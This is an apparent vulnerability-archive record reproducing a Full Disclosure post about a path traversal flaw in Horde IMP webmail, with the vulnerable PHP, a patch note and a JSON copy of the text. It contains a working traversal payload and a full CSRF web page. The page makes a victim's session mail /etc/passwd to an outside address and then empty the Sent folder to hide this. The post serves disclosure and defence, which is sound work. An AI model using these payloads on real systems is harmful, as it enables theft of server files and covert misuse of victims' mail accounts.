VULNARCHIVE

GCVE-1988-2026-0327

[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln

Description (en)

this is my first time sending to a mailing list so ive chosen
something easy. here goes:

Summary: Horde Groupware’s IMP Webmail solution contains a path
traversal/local file inclusion vulnerability which could be exploited
to escalate privileges or bypass authentication (through CSRF if
unauthenticated).

the vulnerability is in here:

} elseif (strcasecmp($node->tagName, 'IMG') === 0) {
                /* Check for smileys. They live in the JS directory, under
                 * the base ckeditor directory, so search for that and replace
                 * with the filesystem information if found (Request
                 * #13051). Need to ignore other image links that may have
                 * been explicitly added by the user. */
                $js_path = strval(Horde::url($registry->get('jsuri',
'horde'), true));
                if (stripos($src, $js_path . '/ckeditor') === 0) {
                    $file = str_replace(
                        $js_path,
                        $registry->get('jsfs', 'horde'),
                        $src
                    );

                    if (is_readable($file)) {
                        $data_part = new Horde_Mime_Part();
                        $data_part->setContents(file_get_contents($file));
                      ...

as seen, we control $file, which is just the src in <img src="">. to
get past the checks to hit our file_get_contents sink, we can just
satisfy the stripos check. our (elementary) exploit is thus:
--
<img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";>
--
this is likely very chainable with any other existing primitive to
achieve rce on horde IMP. for example, heres an easy csrf chain:

--
<!DOCTYPE html>
<html>

<body>
    <h1>yo</h1>
    <script>
        var p1 = new FormData();
        p1.append('to', 'john () evil gov');
        // land in spam
        p1.append('subject', 'hai');
        p1.append('html', '1');
        p1.append('message',
            '<html><body>bye<img
src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>');

        p1.append('identity', '0');
        p1.append('priority', 'normal');
        p1.append('request_read_receipt', '0');
        p1.append('save_sent_mail', '1');
        fetch('http://targ/horde/services/ajax.php/imp/sendMessage&apos;, {
                method: 'POST',
                body: p1,
                credentials: 'include',
                mode: 'no-cors'
            })
            .then(() => {
                console.log("* bye");
                setTimeout(() => {
                    var p2 = new FormData();
                    p2.append('mbox', 'U0VOVA'); // b64 SENT
                    // delete

fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox&apos;, {
                        method: 'POST',
                        body: p2,
                        credentials: 'include',
                        mode: 'no-cors'
                    });
                }, 2000);
            });
    </script>
</body>

</html>
--

PATCH:
update to horde imp 7.0.1 for the patch.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "imp",
          "vendor": "horde",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "ㅤevan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware’s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node->tagName, 'IMG') === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry->get('jsuri',\n'horde'), true));\n                if (stripos($src, $js_path . '/ckeditor') === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry->get('jsfs', 'horde'),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part->setContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in <img src=\"\">. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n<img src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";>\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n<!DOCTYPE html>\n<html>\n\n<body>\n    <h1>yo</h1>\n    <script>\n        var p1 = new FormData();\n        p1.append('to', 'john () evil gov');\n        // land in spam\n        p1.append('subject', 'hai');\n        p1.append('html', '1');\n        p1.append('message',\n            '<html><body>bye<img\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";></body></html>');\n\n        p1.append('identity', '0');\n        p1.append('priority', 'normal');\n        p1.append('request_read_receipt', '0');\n        p1.append('save_sent_mail', '1');\n        fetch('http://targ/horde/services/ajax.php/imp/sendMessage&apos;, {\n                method: 'POST',\n                body: p1,\n                credentials: 'include',\n                mode: 'no-cors'\n            })\n            .then(() => {\n                console.log(\"* bye\");\n                setTimeout(() => {\n                    var p2 = new FormData();\n                    p2.append('mbox', 'U0VOVA'); // b64 SENT\n                    // delete\n\nfetch('http://targ/horde/services/ajax.php/imp/emptyMailbox&apos;, {\n                        method: 'POST',\n                        body: p2,\n                        credentials: 'include',\n                        mode: 'no-cors'\n                    });\n                }, 2000);\n            });\n    </script>\n</body>\n\n</html>\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
        },
        {
          "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox&apos"
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/sendMessage&apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-58451",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0327",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
            "automated": true,
            "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-02T17:04:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0327"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}